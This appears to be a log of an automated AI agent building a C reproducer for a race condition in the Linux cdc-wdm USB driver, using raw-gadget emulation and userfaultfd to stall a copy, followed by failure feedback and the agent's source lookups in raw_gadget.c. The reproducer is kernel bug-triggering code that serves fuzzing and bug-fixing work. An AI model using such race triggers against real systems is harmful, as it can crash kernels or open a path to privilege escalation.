event_wait(&read_blocked);
// Send STALL on EP1 IN to trigger wdm_rxwork
ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in);
// Wait for wdm_rxwork to start and submit the URB
usleep(100000);
// Resolve userfaultfd, allowing read() to finish and call service_outstanding_interrupt
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char page[4096];
memset(page, 0, sizeof(page));
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
ioctl(uffd, UFFDIO_COPY, ©);
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
usleep(500000); // Wait for /dev/cdc-wdm0 to appear
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) break;
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) break;
}
if (fd_wdm < 0) {
fprintf(stderr, "Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
// This will block until data is available, then hit the userfaultfd
read(fd_wdm, addr, 10);
sleep(1);
return 0;
}
```
Feedback: The reproduction attempt failed. The program timed out after 2m30s without triggering the bug.
Console logs show that the dummy HCD failed to enumerate the USB device:
[ 70.345385][ T5707] usb 1-1: device descriptor read/64, error -110
[ 71.555723][ T5707] usb usb1-port1: unable to enumerate USB device
Additionally, the kernel logged: `raw-gadget.0 gadget.0: ignoring, device is not running`.
Strace output reveals that the reproducer is stuck in a busy loop calling `ioctl(3, USB_RAW_IOCTL_EVENT_FETCH)` (which corresponds to `_IOC(_IOC_READ, 0x55, 0x2, 0x48)`), and it is repeatedly returning `-1 EINVAL`.
In the `raw-gadget` driver, `USB_RAW_IOCTL_EVENT_FETCH` returns `-EINVAL` if the gadget is not in the `STATE_RUNNING` state.
To fix this:
1. Ensure that `USB_RAW_IOCTL_RUN` is successfully called and check its return value before attempting to fetch events.
2. If `USB_RAW_IOCTL_RUN` is successful, the reproducer must correctly handle endpoint 0 setup requests. When a `USB_RAW_EVENT_CONTROL` event is received, the reproducer must parse the setup packet and respond with the appropriate descriptors (Device, Configuration, etc.) using `USB_RAW_IOCTL_EP0_WRITE` or `USB_RAW_IOCTL_EP0_READ`. If the reproducer does not respond to the host's `Get Descriptor` requests, the enumeration will fail with error `-110` (timeout), and the device will not be instantiated.
3. Make sure to handle `EINVAL` or other errors from `EVENT_FETCH` gracefully rather than busy-looping indefinitely.
Reply: An analysis of the failure reveals that the `raw-gadget` driver rejected the `USB_RAW_IOCTL_EVENT_FETCH` ioctl with `-EINVAL` because the device state transitioned to `STATE_DEV_FAILED`. This happened because the gadget thread incorrectly handled the `USB_REQ_SET_CONFIGURATION` Control request.
`USB_REQ_SET_CONFIGURATION` is an OUT request (or zero-length request), which means the host expects to send data to the device (or just complete the status stage). In the `raw-gadget` driver, this sets `ep0_out_pending = true`. However, the previous reproducer called `USB_RAW_IOCTL_EP0_WRITE` (which implies an IN transfer) to respond to it. This mismatch triggered a `WARN_ON` in `raw_process_ep0_io()` and forced the device into a failed state, aborting the enumeration.
To fix this, we must use `USB_RAW_IOCTL_EP0_READ` for `USB_REQ_SET_CONFIGURATION` and any other OUT requests.
Here is the corrected C reproducer:
```c
// autogenerated by syzkaller (https://github.com/google/syzkaller)
#define _GNU_SOURCE
#include <endian.h>
#include <errno.h>
#include <fcntl.h>
#include <linux/usb/ch9.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <unistd.h>
#include "race_toolkit.h"
#define UDC_NAME_LENGTH_MAX 128
struct usb_raw_init {
__u8 driver_name[UDC_NAME_LENGTH_MAX];
__u8 device_name[UDC_NAME_LENGTH_MAX];
__u8 speed;
};
enum usb_raw_event_type {
USB_RAW_EVENT_INVALID = 0,
USB_RAW_EVENT_CONNECT = 1,
USB_RAW_EVENT_CONTROL = 2,
};
struct usb_raw_event {
__u32 type;
__u32 length;
__u8 data[64];
};
struct usb_raw_ep_io {
__u16 ep;
__u16 flags;
__u32 length;
__u8 data[256];
};
#define USB_RAW_IOCTL_INIT _IOW('U', 0, struct usb_raw_init)
#define USB_RAW_IOCTL_RUN _IO('U', 1)
#define USB_RAW_IOCTL_EVENT_FETCH _IOR('U', 2, struct usb_raw_event)
#define USB_RAW_IOCTL_EP0_WRITE _IOW('U', 3, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP0_READ _IOWR('U', 4, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_EP_ENABLE _IOW('U', 5, struct usb_endpoint_descriptor)
#define USB_RAW_IOCTL_EP_WRITE _IOW('U', 7, struct usb_raw_ep_io)
#define USB_RAW_IOCTL_CONFIGURE _IO('U', 9)
#define USB_RAW_IOCTL_EP0_STALL _IO('U', 12)
#define USB_RAW_IOCTL_EP_SET_HALT _IOW('U', 13, __u32)
struct usb_cdc_notification {
__u8 bmRequestType;
__u8 bNotificationType;
__le16 wValue;
__le16 wIndex;
__le16 wLength;
} __attribute__ ((packed));
struct usb_device_descriptor dev_desc = {
.bLength = sizeof(dev_desc),
.bDescriptorType = USB_DT_DEVICE,
.bcdUSB = htole16(0x0200),
.bDeviceClass = 2,
.bDeviceSubClass = 0,
.bDeviceProtocol = 0,
.bMaxPacketSize0 = 64,
.idVendor = htole16(0x0525),
.idProduct = htole16(0xa4a7),
.bcdDevice = htole16(0x0100),
.iManufacturer = 0,
.iProduct = 0,
.iSerialNumber = 0,
.bNumConfigurations = 1,
};
struct usb_cdc_header_desc {
__u8 bLength;
__u8 bDescriptorType;
__u8 bDescriptorSubType;
__le16 bcdCDC;
} __attribute__((packed));
struct {
struct usb_config_descriptor conf;
struct usb_interface_descriptor intf;
struct usb_cdc_header_desc cdc_hdr;
struct usb_endpoint_descriptor ep_in;
} __attribute__((packed)) conf_desc = {
.conf = {
.bLength = sizeof(conf_desc.conf),
.bDescriptorType = USB_DT_CONFIG,
.wTotalLength = htole16(sizeof(conf_desc)),
.bNumInterfaces = 1,
.bConfigurationValue = 1,
.iConfiguration = 0,
.bmAttributes = USB_CONFIG_ATT_ONE | USB_CONFIG_ATT_SELFPOWER,
.bMaxPower = 50,
},
.intf = {
.bLength = sizeof(conf_desc.intf),
.bDescriptorType = USB_DT_INTERFACE,
.bInterfaceNumber = 0,
.bAlternateSetting = 0,
.bNumEndpoints = 1,
.bInterfaceClass = 2, // USB_CLASS_COMM
.bInterfaceSubClass = 9, // USB_CDC_SUBCLASS_DMM
.bInterfaceProtocol = 0,
.iInterface = 0,
},
.cdc_hdr = {
.bLength = sizeof(conf_desc.cdc_hdr),
.bDescriptorType = 0x24, // USB_DT_CS_INTERFACE
.bDescriptorSubType = 0x00, // USB_CDC_HEADER_TYPE
.bcdCDC = htole16(0x0110),
},
.ep_in = {
.bLength = sizeof(conf_desc.ep_in),
.bDescriptorType = USB_DT_ENDPOINT,
.bEndpointAddress = 0x81, // EP1 IN
.bmAttributes = USB_ENDPOINT_XFER_INT,
.wMaxPacketSize = htole16(64),
.bInterval = 1,
},
};
int fd_raw;
int ep_in = -1;
event_t gadget_ready;
event_t read_blocked;
event_t resolve_uffd;
void setup_gadget() {
fd_raw = open("/dev/raw-gadget", O_RDWR);
if (fd_raw < 0) {
perror("open /dev/raw-gadget");
exit(1);
}
struct usb_raw_init init = {
.driver_name = "dummy_udc",
.device_name = "dummy_udc.0",
.speed = USB_SPEED_HIGH,
};
if (ioctl(fd_raw, USB_RAW_IOCTL_INIT, &init) < 0) {
perror("USB_RAW_IOCTL_INIT");
exit(1);
}
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
}
void *gadget_thread(void *arg) {
setup_gadget();
while (1) {
struct usb_raw_event event;
event.type = 0;
event.length = sizeof(event.data);
if (ioctl(fd_raw, USB_RAW_IOCTL_EVENT_FETCH, &event) < 0) {
if (errno == EINTR) continue;
perror("USB_RAW_IOCTL_EVENT_FETCH");
break;
}
if (event.type == USB_RAW_EVENT_CONTROL) {
struct usb_ctrlrequest *req = (struct usb_ctrlrequest *)event.data;
struct usb_raw_ep_io io;
io.ep = 0;
io.flags = 0;
io.length = 0;
if (req->bRequestType & USB_DIR_IN) {
if (req->bRequest == USB_REQ_GET_DESCRIPTOR) {
if (req->wValue == (USB_DT_DEVICE << 8)) {
io.length = sizeof(dev_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &dev_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else if (req->wValue == (USB_DT_CONFIG << 8)) {
io.length = sizeof(conf_desc);
if (io.length > req->wLength) io.length = req->wLength;
memcpy(io.data, &conf_desc, io.length);
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else if (req->bRequestType == 0xA1 && req->bRequest == 0x01) {
static int resp_count = 0;
if (resp_count == 0) {
io.length = 10;
memset(io.data, 'A', 10);
if (io.length > req->wLength) io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_WRITE, &io);
resp_count++;
} else {
// Do nothing, let the host's URB hang active indefinitely
}
} else {
ioctl(fd_raw, USB_RAW_IOCTL_EP0_STALL, 0);
}
} else {
// OUT request or zero-length
if (req->bRequest == USB_REQ_SET_CONFIGURATION) {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
ioctl(fd_raw, USB_RAW_IOCTL_CONFIGURE, 0);
ep_in = ioctl(fd_raw, USB_RAW_IOCTL_EP_ENABLE, &conf_desc.ep_in);
if (ep_in >= 0) {
event_set(&gadget_ready);
}
} else {
io.length = req->wLength;
ioctl(fd_raw, USB_RAW_IOCTL_EP0_READ, &io);
}
}
}
}
return NULL;
}
void *ep1_thread(void *arg) {
event_wait(&gadget_ready);
usleep(200000); // Wait for host to fully enumerate and submit int urb
struct usb_cdc_notification notif = {
.bmRequestType = 0xA1,
.bNotificationType = 0x01, // USB_CDC_NOTIFY_RESPONSE_AVAILABLE
.wValue = 0,
.wIndex = 0,
.wLength = 0,
};
struct usb_raw_ep_io io_ep1;
io_ep1.ep = ep_in;
io_ep1.flags = 0;
io_ep1.length = sizeof(notif);
memcpy(io_ep1.data, ¬if, sizeof(notif));
// Send first notification
ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1);
// Send second notification (increments resp_count to 2)
ioctl(fd_raw, USB_RAW_IOCTL_EP_WRITE, &io_ep1);
// Wait for read() to block in copy_to_user
event_wait(&read_blocked);
// Send STALL on EP1 IN to trigger wdm_rxwork
ioctl(fd_raw, USB_RAW_IOCTL_EP_SET_HALT, ep_in);
// Wait for wdm_rxwork to start and submit the URB
usleep(100000);
// Resolve userfaultfd, allowing read() to finish and call service_outstanding_interrupt
event_set(&resolve_uffd);
return NULL;
}
void *uffd_thread(void *arg) {
int uffd = (int)(long)arg;
struct uffd_msg msg;
if (read(uffd, &msg, sizeof(msg)) != sizeof(msg)) {
perror("read uffd");
exit(1);
}
if (msg.event == UFFD_EVENT_PAGEFAULT) {
event_set(&read_blocked);
event_wait(&resolve_uffd);
struct uffdio_copy copy;
char page[4096];
memset(page, 0, sizeof(page));
copy.src = (uintptr_t)page;
copy.dst = msg.arg.pagefault.address & ~(4095);
copy.len = 4096;
copy.mode = 0;
copy.copy = 0;
ioctl(uffd, UFFDIO_COPY, ©);
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
event_init(&gadget_ready);
event_init(&read_blocked);
event_init(&resolve_uffd);
pthread_t tid_gadget, tid_ep1, tid_uffd;
pthread_create(&tid_gadget, NULL, gadget_thread, NULL);
pthread_create(&tid_ep1, NULL, ep1_thread, NULL);
event_wait(&gadget_ready);
usleep(500000); // Wait for /dev/cdc-wdm0 to appear
char dev_path[64] = "/dev/cdc-wdm0";
int fd_wdm = -1;
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) break;
}
if (fd_wdm < 0) {
sleep(1);
for (int i = 0; i < 10; i++) {
sprintf(dev_path, "/dev/cdc-wdm%d", i);
fd_wdm = open(dev_path, O_RDWR);
if (fd_wdm >= 0) break;
}
if (fd_wdm < 0) {
fprintf(stderr, "Failed to open cdc-wdm device\n");
exit(1);
}
}
void *addr = mmap(NULL, 4096, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0);
if (addr == MAP_FAILED) {
perror("mmap");
exit(1);
}
int uffd = setup_uffd(addr, 4096);
if (uffd < 0) {
fprintf(stderr, "Failed to setup uffd\n");
exit(1);
}
pthread_create(&tid_uffd, NULL, uffd_thread, (void *)(long)uffd);
// This will block until data is available, then hit the userfaultfd
read(fd_wdm, addr, 10);
sleep(1);
return 0;
}
```
|
| 151/5 |
2026/09/11 22:39 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 9189
output: 22
thoughts: 260
Thoughts: **The Path to a Functional `cdc-wdm` Reproducer**
My primary objective right now is to get this `cdc-wdm` reproducer working. The previous attempt hit a wall, specifically with the gadget failing to enumerate, and I need to get past that.
I've been poring over the `strace` output, and a crucial piece of information emerged: `ioctl(3, USB_RAW_IOCTL_EVENT_FETCH)` is returning `-1 EINVAL`. This immediately flagged for me that something is fundamentally wrong with the gadget's state.
Digging into the `raw-gadget` driver, I found the exact reason for that `EINVAL`: `USB_RAW_IOCTL_EVENT_FETCH` will return this error if the gadget isn't in the `STATE_RUNNING` state. This is a critical insight.
Now, I need to revisit the sequence of operations in the previous code. I recall seeing this snippet:
```c
if (ioctl(fd_raw, USB_RAW_IOCTL_RUN, 0) < 0) {
perror("USB_RAW_IOCTL_RUN");
exit(1);
}
```
This line, invoking `USB_RAW_IOCTL_RUN`, is where I suspect the problem lies. My initial thought was that `USB_RAW_IOCTL_RUN` doesn't take any arguments, which seemed odd. However, I then remembered that in the context of `syzkaller`, the `syz_usb_connect` function is responsible for managing these low-level USB operations, including setting up the gadget's state.
Therefore, my next logical step is to dive into the kernel source code and meticulously examine the definition and expected usage of `USB_RAW_IOCTL_RUN` within the `syz_usb_connect` framework. It's likely that the way this ioctl is being called, or the preceding state setup, is insufficient to get the gadget into `STATE_RUNNING`, which is the prerequisite for `USB_RAW_IOCTL_EVENT_FETCH` to succeed and for the reproducer to progress. This detailed inspection should reveal the missing piece.
|
| 152/5 |
2026/09/11 22:39 |
tool |
grepper |
0m
Args: map[Expression:USB_RAW_IOCTL_RUN]
Results: map[Output:Documentation/usb/raw-gadget.rst=51=A typical usage scenario of Raw Gadget:
--
Documentation/usb/raw-gadget.rst-54-2. Initialize the instance via ``USB_RAW_IOCTL_INIT``.
Documentation/usb/raw-gadget.rst:55:3. Launch the instance with ``USB_RAW_IOCTL_RUN``.
Documentation/usb/raw-gadget.rst-56-4. In a loop issue ``USB_RAW_IOCTL_EVENT_FETCH`` to receive events from
--
drivers/usb/gadget/legacy/raw_gadget.c=1294=static long raw_ioctl(struct file *fd, unsigned int cmd, unsigned long value)
--
drivers/usb/gadget/legacy/raw_gadget.c-1305- break;
drivers/usb/gadget/legacy/raw_gadget.c:1306: case USB_RAW_IOCTL_RUN:
drivers/usb/gadget/legacy/raw_gadget.c-1307- ret = raw_ioctl_run(dev, value);
--
include/uapi/linux/usb/raw_gadget.h=160=struct usb_raw_eps_info {
--
include/uapi/linux/usb/raw_gadget.h-174- */
include/uapi/linux/usb/raw_gadget.h:175:#define USB_RAW_IOCTL_RUN _IO('U', 1)
include/uapi/linux/usb/raw_gadget.h-176-
]
|
| 153/5 |
2026/09/11 22:40 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 9850
output: 44
thoughts: 29
Thoughts: **My Thought Process on Inspecting `raw_ioctl_run` in `drivers/usb/gadget/legacy/raw_gadget.c`**
Okay, my immediate impulse is to dive into the `raw_ioctl_run` function within the `drivers/usb/gadget/legacy/raw_gadget.c` file. This is where the rubber meets the road for handling a specific set of ioctls related to the raw gadget driver. My primary goal here is to understand the exact behavior and potential implications of this function, especially concerning how it processes user-space requests. I'm expecting to see a switch statement or a series of `if/else if` blocks that will dispatch based on the ioctl command. My focus will be on identifying:
* **What specific ioctl commands are being handled?** I need to know the repertoire of operations that `raw_ioctl_run` is designed to service.
* **How are the arguments to these ioctls validated?** This is critical. I'm looking for any potential for buffer overflows, out-of-bounds reads/writes, or other memory corruption vulnerabilities stemming from unchecked user-supplied data.
* **What system resources are being accessed or manipulated?** This could involve direct hardware interaction, manipulation of internal driver state, or interactions with other kernel subsystems. I want to understand the scope of its influence.
* **Are there any obvious race conditions or locking issues?** Given this is a kernel driver, concurrency is always a concern. I'll be looking for shared data structures that might not be adequately protected.
* **What is the overall purpose of this function?** Beyond just executing commands, what is it trying to achieve in the context of the raw gadget driver's functionality?
Essentially, I'm going into this with a mindset of thoroughness and a keen eye for anything that could represent a security weakness or a bug in the driver's implementation. This is a direct entry point for user-space interaction with a kernel-level driver, so I'm treating it with the utmost scrutiny.
|
| 154/5 |
2026/09/11 22:40 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:raw_ioctl_run]
Results: map[SourceCode: 579: static int raw_ioctl_run(struct raw_dev *dev, unsigned long value)
580: {
581: int ret = 0;
582: unsigned long flags;
583:
584: if (value)
585: return -EINVAL;
586:
587: spin_lock_irqsave(&dev->lock, flags);
588: if (dev->state != STATE_DEV_INITIALIZED) {
589: dev_dbg(dev->dev, "fail, device is not initialized\n");
590: ret = -EINVAL;
591: goto out_unlock;
592: }
593: dev->state = STATE_DEV_REGISTERING;
594: spin_unlock_irqrestore(&dev->lock, flags);
595:
596: ret = usb_gadget_register_driver(&dev->driver);
597:
598: spin_lock_irqsave(&dev->lock, flags);
599: if (ret) {
600: dev_err(dev->dev,
601: "fail, usb_gadget_register_driver returned %d\n", ret);
602: dev->state = STATE_DEV_FAILED;
603: goto out_unlock;
604: }
605: dev->gadget_registered = true;
606: dev->state = STATE_DEV_RUNNING;
607: /* Matches kref_put() in raw_release(). */
608: kref_get(&dev->count);
609:
610: out_unlock:
611: spin_unlock_irqrestore(&dev->lock, flags);
612: return ret;
613: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 155/5 |
2026/09/11 22:40 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 10449
output: 46
thoughts: 39
Thoughts: **My Diagnostic Journey: USB Device Unresponsiveness**
It's quite perplexing. I just initiated what should have been a straightforward operation, calling `USB_RAW_IOCTL_RUN`, and it's reporting success. Yet, despite this positive affirmation from the system, the USB device in question remains stubbornly inert. This is a clear disconnect between the reported state and the actual behavior, and it immediately triggers a deeper investigation. My next logical step is to examine the event fetching mechanism. If the device isn't actually running as indicated, then perhaps the `USB_RAW_IOCTL_EVENT_FETCH` call will reveal the underlying reason for this discrepancy, providing insight into what's truly happening at the hardware or driver level.
|
| 156/5 |
2026/09/11 22:40 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:raw_ioctl_event_fetch]
Results: map[SourceCode: 615: static int raw_ioctl_event_fetch(struct raw_dev *dev, unsigned long value)
616: {
617: struct usb_raw_event arg;
618: unsigned long flags;
619: struct usb_raw_event *event;
620: uint32_t length;
621:
622: if (copy_from_user(&arg, (void __user *)value, sizeof(arg)))
623: return -EFAULT;
624:
625: spin_lock_irqsave(&dev->lock, flags);
626: if (dev->state != STATE_DEV_RUNNING) {
627: dev_dbg(dev->dev, "fail, device is not running\n");
628: spin_unlock_irqrestore(&dev->lock, flags);
629: return -EINVAL;
630: }
631: if (!dev->gadget) {
632: dev_dbg(dev->dev, "fail, gadget is not bound\n");
633: spin_unlock_irqrestore(&dev->lock, flags);
634: return -EBUSY;
635: }
636: spin_unlock_irqrestore(&dev->lock, flags);
637:
638: event = raw_event_queue_fetch(&dev->queue);
639: if (PTR_ERR(event) == -EINTR) {
640: dev_dbg(&dev->gadget->dev, "event fetching interrupted\n");
641: return -EINTR;
642: }
643: if (IS_ERR(event)) {
644: dev_err(&dev->gadget->dev, "failed to fetch event\n");
645: spin_lock_irqsave(&dev->lock, flags);
646: dev->state = STATE_DEV_FAILED;
647: spin_unlock_irqrestore(&dev->lock, flags);
648: return -ENODEV;
649: }
650: length = min(arg.length, event->length);
651: if (copy_to_user((void __user *)value, event, sizeof(*event) + length)) {
652: kfree(event);
653: return -EFAULT;
654: }
655:
656: kfree(event);
657: return 0;
658: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 157/5 |
2026/09/11 22:40 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 11245
output: 21
thoughts: 149
Thoughts: **My Internal Monologue on USB Raw Gadget State and Error Handling**
Okay, so I'm looking at this `raw_ioctl_event_fetch` function, and my initial understanding is that it returns `-EBUSY` if the device is not set up, specifically if `!dev->gadget`. That seems straightforward enough – the gadget isn't configured, so you can't fetch events.
But then I immediately hit a snag. I see that the same function can return `-EINVAL` if `dev->state != STATE_DEV_RUNNING`. This is where my brain starts to whir. I know that if `USB_RAW_IOCTL_RUN` is successful, the `dev->state` *must* become `STATE_DEV_RUNNING`. So, if `USB_RAW_IOCTL_RUN` just completed successfully, why would `raw_ioctl_event_fetch` then immediately complain about the state not being `STATE_DEV_RUNNING` and return `-EINVAL`? It feels like a contradiction, or at least a potential race condition I need to understand better.
My immediate thought is: could there be a very narrow window where `USB_RAW_IOCTL_RUN` finishes, `dev->state` is updated, but before `raw_ioctl_event_fetch` is called, something else happens to change the state back? Or perhaps the logic in `raw_ioctl_event_fetch` is checking something *else* that leads to `-EINVAL` when the state isn't `STATE_DEV_RUNNING`, even if `USB_RAW_IOCTL_RUN` just succeeded?
Then, the kernel log pops up with this gem: `raw-gadget.0 gadget.0: ignoring, device is not running`. This is a crucial clue! It directly references a "device is not running" state, which strongly implies my concern about the `dev->state` not being `STATE_DEV_RUNNING` is valid and occurring in practice. It suggests that the `-EINVAL` error is indeed tied to the device not being in that specific running state.
So, my next immediate action is to dive into the code responsible for this log message. I need to find out *exactly* when and why it's logging "device is not running" and how that condition relates to the `-EINVAL` return from `raw_ioctl_event_fetch`. I'm suspecting there's a subtle timing issue, or perhaps an assumption in the code about the state remaining `STATE_DEV_RUNNING` that's being violated. I need to trace the flow from `USB_RAW_IOCTL_RUN` completion all the way through to the point where `raw_ioctl_event_fetch` is called and potentially fails. This search is critical to understanding the full picture of the device state management.
|
| 158/5 |
2026/09/11 22:40 |
tool |
grepper |
0m
Args: map[Expression:ignoring, device is not running]
Results: map[Output:drivers/usb/gadget/legacy/raw_gadget.c=337=static int gadget_setup(struct usb_gadget *gadget,
--
drivers/usb/gadget/legacy/raw_gadget.c-345- if (dev->state != STATE_DEV_RUNNING) {
drivers/usb/gadget/legacy/raw_gadget.c:346: dev_err(&gadget->dev, "ignoring, device is not running\n");
drivers/usb/gadget/legacy/raw_gadget.c-347- ret = -ENODEV;
]
|
| 159/5 |
2026/09/11 22:41 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 11560
output: 43
thoughts: 10
Thoughts: **My Thought Process Regarding `gadget_setup`**
Okay, so my immediate inclination here is to investigate the `gadget_setup` module. I need to understand its role and functionality. What exactly does it handle? Is it responsible for initialization, configuration, or perhaps the bootstrapping of the entire gadget framework? I'm assuming, given its name, that it's a foundational piece of the system, likely involved in bringing everything online. My next step would be to delve into its source code, scrutinize its dependencies, and trace its execution path to get a comprehensive picture of its operations and how it interacts with other components.
|
| 160/5 |
2026/09/11 22:41 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/usb/gadget/legacy/raw_gadget.c Name:gadget_setup]
Results: map[SourceCode: 337: static int gadget_setup(struct usb_gadget *gadget,
338: const struct usb_ctrlrequest *ctrl)
339: {
340: int ret = 0;
341: struct raw_dev *dev = get_gadget_data(gadget);
342: unsigned long flags;
343:
344: spin_lock_irqsave(&dev->lock, flags);
345: if (dev->state != STATE_DEV_RUNNING) {
346: dev_err(&gadget->dev, "ignoring, device is not running\n");
347: ret = -ENODEV;
348: goto out_unlock;
349: }
350: if (dev->ep0_in_pending || dev->ep0_out_pending) {
351: dev_dbg(&gadget->dev, "stalling, request already pending\n");
352: ret = -EBUSY;
353: goto out_unlock;
354: }
355: if ((ctrl->bRequestType & USB_DIR_IN) && ctrl->wLength)
356: dev->ep0_in_pending = true;
357: else
358: dev->ep0_out_pending = true;
359: spin_unlock_irqrestore(&dev->lock, flags);
360:
361: ret = raw_queue_event(dev, USB_RAW_EVENT_CONTROL, sizeof(*ctrl), ctrl);
362: if (ret < 0)
363: dev_err(&gadget->dev, "failed to queue control event\n");
364: goto out;
365:
366: out_unlock:
367: spin_unlock_irqrestore(&dev->lock, flags);
368: out:
369: if (ret == 0 && ctrl->wLength == 0) {
370: /*
371: * Return USB_GADGET_DELAYED_STATUS as a workaround to stop
372: * some UDC drivers (e.g. dwc3) from automatically proceeding
373: * with the status stage for 0-length transfers.
374: * Should be removed once all UDC drivers are fixed to always
375: * delay the status stage until a response is queued to EP0.
376: */
377: return USB_GADGET_DELAYED_STATUS;
378: }
379: return ret;
380: }
SourceFile:drivers/usb/gadget/legacy/raw_gadget.c]
|
| 161/5 |
2026/09/11 22:41 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 12340
output: 24
thoughts: 100
Thoughts: **My Internal Monologue on Device State Debugging**
Ah, so when `gadget_setup` spits out that "ignoring, device is not running" message, my immediate thought is that it signifies `dev->state` is not in the `STATE_DEV_RUNNING` condition. This makes sense, of course, given that the `USB_RAW_IOCTL_RUN` operation is specifically designed to transition `dev->state` *to* `STATE_DEV_RUNNING`.
This discrepancy, however, raises a critical question: could it be that `dev->state` has been nudged into a `STATE_DEV_FAILED` state *after* the `USB_RAW_IOCTL_RUN` call, but *before* `gadget_setup` is invoked? To get to the bottom of this, my next logical step is to meticulously trace all the code paths where `dev->state` is assigned the value `STATE_DEV_FAILED`. That's where the root cause likely lies.
|
| 162/5 |
2026/09/11 22:41 |
tool |
grepper |
0m
Args: map[Expression:dev->state = STATE_DEV_FAILED;]
Results: map[Output:drivers/usb/gadget/legacy/raw_gadget.c=234=static int raw_queue_event(struct raw_dev *dev,
--
drivers/usb/gadget/legacy/raw_gadget.c-242- spin_lock_irqsave(&dev->lock, flags);
drivers/usb/gadget/legacy/raw_gadget.c:243: dev->state = STATE_DEV_FAILED;
drivers/usb/gadget/legacy/raw_gadget.c-244- spin_unlock_irqrestore(&dev->lock, flags);
--
drivers/usb/gadget/legacy/raw_gadget.c=579=static int raw_ioctl_run(struct raw_dev *dev, unsigned long value)
--
drivers/usb/gadget/legacy/raw_gadget.c-601- "fail, usb_gadget_register_driver returned %d\n", ret);
drivers/usb/gadget/legacy/raw_gadget.c:602: dev->state = STATE_DEV_FAILED;
drivers/usb/gadget/legacy/raw_gadget.c-603- goto out_unlock;
--
drivers/usb/gadget/legacy/raw_gadget.c=615=static int raw_ioctl_event_fetch(struct raw_dev *dev, unsigned long value)
--
drivers/usb/gadget/legacy/raw_gadget.c-645- spin_lock_irqsave(&dev->lock, flags);
drivers/usb/gadget/legacy/raw_gadget.c:646: dev->state = STATE_DEV_FAILED;
drivers/usb/gadget/legacy/raw_gadget.c-647- spin_unlock_irqrestore(&dev->lock, flags);
--
drivers/usb/gadget/legacy/raw_gadget.c=683=static int raw_process_ep0_io(struct raw_dev *dev, struct usb_raw_ep_io *io,
--
drivers/usb/gadget/legacy/raw_gadget.c-712- ret = -ENODEV;
drivers/usb/gadget/legacy/raw_gadget.c:713: dev->state = STATE_DEV_FAILED;
drivers/usb/gadget/legacy/raw_gadget.c-714- goto out_unlock;
--
drivers/usb/gadget/legacy/raw_gadget.c-717- ret = -ENODEV;
drivers/usb/gadget/legacy/raw_gadget.c:718: dev->state = STATE_DEV_FAILED;
drivers/usb/gadget/legacy/raw_gadget.c-719- goto out_unlock;
]
|
| 163/5 |
2026/09/11 22:41 |
llm |
strategy-refiner |
0m
Model:
Tokens:
input: 13132
output: 44
thoughts: 11
Thoughts: **My Thought Process Regarding `raw_queue_event`**
